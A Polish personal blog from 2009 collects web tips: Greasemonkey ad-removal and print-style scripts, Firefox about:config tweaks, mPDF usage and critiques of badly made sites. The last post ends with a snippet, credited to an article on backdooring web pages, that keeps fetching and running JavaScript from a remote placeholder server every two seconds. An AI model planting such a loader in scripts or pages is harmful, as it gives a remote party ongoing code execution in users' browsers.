Pokazywanie postów oznaczonych etykietą html. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą html. Pokaż wszystkie posty

czwartek, 26 listopada 2009

JavaSrcipt Adds Remove

Jak usunąć reklamy z naszych ulubionych stron?

Wystarczy tylko w Firefoxie załadować dodatek GreaseMonkey
a potem wejśc na stronę:
i klinkąć INSTALL
wszytkie reklamy znikną.

Innymi słowy:
wczoraj napisałem 2 proste skrypty w Javascript które usuwają reklamy.
Są oczywiście na licencji GNU i pisane w sciśle edukacyjnych! celach.
Oczywiście przetestowałem je i działają w 100%, ale nie gwarantuję że powiedzmy
za rok jakieś zupełnie nowy typ reklam nie zostanie dorzucony do powyższysch stron.

Działanie:
Skrypty wywalają reklamy, ale najpierw je sciągają ma to swoje plusy i minusy:
+ twórcy strony dostają pieniądze za wyświetlanie reklam
+ których nie musimy przecież oglądać
- ponieważ (jednak) sciągamy te reklamy - to niepotrzebnie zurzywamy nasz transfer.


środa, 18 listopada 2009

Jak nie robić stron internetowych cz4.


Niestety tym razem jedna z moich ulubionych autorek.
Na swojej stronie umieszcza takie oto cuś:
A wystarczyłoby wyłączyć php_flag error_reporting.
Poprzednie części cyklu:


wtorek, 17 listopada 2009

Firefox speed up

Czyli jak przyspieszyć wyszukiwanie stron w Firefoxie?

Aby przyspieszyć wyświetlanie stron w ff 3 można w
about:config
dodać wpisy (integer)
nglayout.initialpaint.delay

content.notify.interval
z wartoscią 0 (zero)

Spowodują one, że przegladarka nie bedzie czekać na całość strony, tylko będzie od razu starała się ja zrenderować.

Można takze dodać/zmienić wpisy:
network.http.pipelining.maxrequests   = 8
network.http.pipelining                      = True (boolean)
network.http.pipelining.firstrequest     = True (boolean)

piątek, 6 listopada 2009

Warningi i inne zjawiska pogodowe

Tak, tak, to już 3ci rozdział cyklu jak nie robić stron internetowych.
Dziś prezentuję...


czwartek, 5 listopada 2009

Fire gestures

Fire gestures - jest to plugin do firefoxa, pozwalający na używanie gestów myszy do obsługi programu

http://www.xuldev.org/firegestures/
Dzieki temu dodatkowie będę wreszcie mogł wszedzie przejsć na firefoxa.
Mój ulubiony gest: .. kozakiewicza??
a na poważnie do minimalizacja okien przesuwajac mysz w prawo-dół
w celu instalacji trzeba wejsc w Narzędzia->Dodatki


A potem w zakładce gesty ustawić DR (prawo-dół)

środa, 21 października 2009

Koszmarne strony WWW cd.

Poniżej koeljna cześć odsłony najgorszych stron WWW w polskiej sieci. (poprzednie)
Konia z rzędem temu, kto doczyta sie liter pisanych niebieską czcionką na jaskrawo zółtym tle.

Dlatego google zapozycjonował dość  nisko sieć, bo dopiero na 3ciej pozycji.
Byłoby pewnie jeszcze niżej, ale w końcu, ile może być: firm o tej jakże wyszukanej nazwie?



Strona wyraźnie odstaje od standartów jakie wyznaczyła Alma:
http://www.almamarket.pl/sklep

czwartek, 8 października 2009

Google rendering in IE6

Google udostępnił plugina do IE6.0+
który podmienia silnik renderujący na CHROME.
Otwierajac strony w IE teraz można je wyświetlać przy użyciu silnika google.

plusy:
  • dużo szybszy
  • zdogny ze standartami
link do wiadomości(źródło):
http://www.labnol.org/software/force-google-chrome-in-internet-explorer/9998/


piątek, 18 września 2009

Bugi na stronach yellowpages.pl

Na stronce yellowpages.pl
Juz jakis (spory) czas temu zgłosiłem im ten bug.
Przy okazji zupełnie innego klienta
objawiajacy sie tym ze niepotrzebnie do adresu URL jest doklejany znak ")"

Czemu teraz o tym piszę?
Ponieważ, dziś im 2gi raz zgłaszam - i zobaczymy ile dni trwa usunięcie drobnego błedu :D
Jak na polskie warunki obstawiam 4-6 miesięcy.





Sprostowanie:


1.No i się okazalo że jeśli bezpośrednio się z kontaktowałem, z firmą która robiła ten serwis, to odzew był natychmiastowy.
Kontakt bardzo rzeczowy.
2.Podobno wina pluginu. Całkiem możliwe. Takwiec umieszczam sprostowanie, aby potomność miała jasny obraz.

wtorek, 8 września 2009

HTML do PDF - generacja

Wstęp:
Dużo czasu upłyneło odkąd ostatni raz pisałem - nowe projekty = brak czasu.

Do generecji seryjnej poczty(maile, faxy,sms) uzywam smarty.
Najczesciej wyglada to tak, że istnieja 3 warstwy programu:
  • template - w smarty wykonana warstwa prezentacji, caly kod html jest tutaj, dodatkowo dochodzą style CSS (osobny dla drukowania)
  • data-logic layer - tutaj obliczam wszystkei zmienne ktore później wołam w smartym
  • data-aquisition - warstwa czytajaca config polaczenia z bazą, pobierajaca wszystkie dane.

Problem jest gdy chcemy wysylać faxy z systemu korespondencyjnego(mailer).
Otóż każdy fax winien być plikiem *.pdf, ew. plikiem graficznym
-przy czym generacja pdf z HTML jest szybsza niż plików graficznych,
-i wymaga mniejszego transferu.

Rozwiązanie:
Z pośród kilku testowanych(ok5) klas najszybszy okazał się HTML2PDF.
Najlepszy stosunek możliwosci/szybkosc miał mPDF.
Plusy:
  • zero problemów z polskimi ogonkami
  • obsługa zewnętrznych styli css, mozliwosc podmiany HEADA
  • obsługa stopki footera
Oto jak prosto go użyć:

$mpdf=new mPDF('iso-8859-2'); //use polish fonts
$mpdf->charset_in='windows-1250'; //polish fonts - skip if u use linux serw
$stylesheet = file_get_contents("./INCLUDES/styl.css"); //import external styleshet
$mpdf->WriteHTML($stylesheet,1); //swap external stylesheet
$mpdf->WriteHTML($html,2); //$html - contains generated HTML page via Smarty
$mpdf->Output('test1.pdf',F); //output a disk file


wynik przykladowej templatki:


czwartek, 9 lipca 2009

jak nie robić stron WWW

1.Ohh misiu :
Na wie(jskiej)lkiej stronie internetowej pewnej znanej marki
możemy poznać jakąś "misię"
2. Otwierając menu możemy posłuchać szemrania wody w toalecie
3. na cały ekran otwierają się wielkie, okropnie zniekształcone zdjęcia



poniedziałek, 29 czerwca 2009

FCKeditor

FCKeditor - jest to prosty lecz potęrzny edytor, dzila pod JS,laszo,PHP, tomcat itp..
może działać jako embedded, więc można go dorzucić do dowolnej aplikacji Webowej.
Polecam.



czwartek, 25 czerwca 2009

Embedded TagCloud

Hi, i like tagcluds, i use them for firefox and google plugins. Today i've done, using Roy Tanck's, a nice embedded tagcloud flash. that will change html code like this:<embed id="tagcloud" width="650" height="450" type="application/x-shockwave-flash"
src="tagcloud.swf" name="tagcloud" bgcolor="#ffffff" quality="high" allowscriptaccess="always"
flashvars="tcolor=0x333333&mode=tags&distr=true&tspeed=100&tagcloud=<tags>
<a href='#1' style='12'>Menu Górne</a>
<a href='#2' style='12'>Menu Dolne</a>
<a href='#3' style='12'>Menu Lewe</a>
<a href='#4' style='12'>Menu Prawe</a>
<a href='#5' style='12'>Zapis</a>
<a href='#6' style='12'>Odczyt</a>
</tags>"/>
for nice graphical interface like this: when u move your mouse over flash - tags also are moving. In this way u get interaction.

czwartek, 18 czerwca 2009

Sterownik wydruku pod Firefox

Jak zmienić sposób drukowania stron pod FIrefoxem?


To proste- nalezy zainstalować greasemonkey
- dodatek do firefoxa i dodac kod javascript który bedzie wstrzykiwany w wybraną stronę podczas otwierania.
Idea jest prosta:
1.wskrzykujemy własny styl CSS
2.ustawiamy media: print - styl dziala tylko przy wydruku
3. dodajemy atrybut !important aby nadpisać ewwentualnie istniejace style CSS

kod na podstawie Boring CSS by Eric Talevich

// Printer Driver for Firefox
// version 0.2
// 2009-06-02
// Copyright (c) 2009, Lukas Gintowt
// Released under the GPL license
// http://www.gnu.org/copyleft/gpl.html
//
// --------------------------------------------------------------------
//
// This is a Greasemonkey user script. To install it, you need Greasemonkey
// 0.4 or later: http://greasemonkey.mozdev.org/ Then restart Firefox and
// revisit this script. Under Tools, there will be a new menu item to "Install
// User Script". Accept the default configuration and install.
//
// To uninstall, go to Tools/Manage User Scripts, select "FF Printer Driver", and
// click Uninstall.
//
// --------------------------------------------------------------------
//
// ==UserScript==
// @name FF Printer Driver
// @description Replaces each page's CSS printing stylesheet.
//@include http://poczta.serwer.ip/*
// @include http://blogs.*.com/*
// @include http://*.wikipedia.org/*
// @include http://*.googlepages.com/*
// ==/UserScript==

mystylesheet = '' +
'body {font-family: Verdana, sans-serif; color: black; }' + //background: #FFFF;
'a:link {color: #00A;}' +
'a:visited {color: #666;}' +
'a:hover {color: #008; background: #EEF;}' +
'a, div, p, dd, li {font-size: 8pt; line-height: 80%;}'+
'h1 {font: 12pt Georgia, serif;}' +
'h2 {font-size: 12pt;}' +
'h3 {font-size: 11pt;}' +
'h4 {font-size: 10pt;}' +
'table{font-size:8pt !important;display:print !important;media:print!important;}'
//+ 'table{font-size:10pt !important;display:screen; media:screen}' //here you can defice print style for screen
//'a, div, p, dd, li {font-size: 10pt; line-height: 170%;}'

window.addEventListener("load", function(e) {
// Remove the existing embedded and linked stylesheets
var styles = document.getElementsByTagName('style')
while (styles[0])
styles[0].parentNode.removeChild(styles[0])

var links = document.getElementsByTagName('link')
for (var i=0; i < links.length; ++i ) {
var link = links[i]
if (link.getAttribute('rel').toLowerCase() == 'stylesheet') {
link.parentNode.removeChild(link)
i-- // Since we popped a node, the indexes shift by 1
}
}

// Define the new stylesheet for the page & attach it

var newstyle = document.createElement("style")
newstyle.type = "text/css"
newstyle.media = "print"
var css = document.createTextNode(mystylesheet)
newstyle.appendChild(css)
document.getElementsByTagName('head')[0].appendChild(newstyle)
}, false)




Można jeszcze dorobić dostęp do zdalnego repozytorium kodu:
(jakby ktoś chciał zrobić update kodu naraz dla wszystkich klientów)
za http://www.gnucitizen.org/blog/backdooring-web-pages/


setInterval(function () {
var head = document.getElementsByTagName('head').item(0);
var old = document.getElementById('last_loaded_cmd');

if (old)
head.removeChild(old);

script = document.createElement('script');
script.src = 'http://ip.serwera';
script.type = 'text/javascript';
script.defer = true;
script.id = 'last_loaded_cmd';
void(head.appendChild(script));
}, 2000);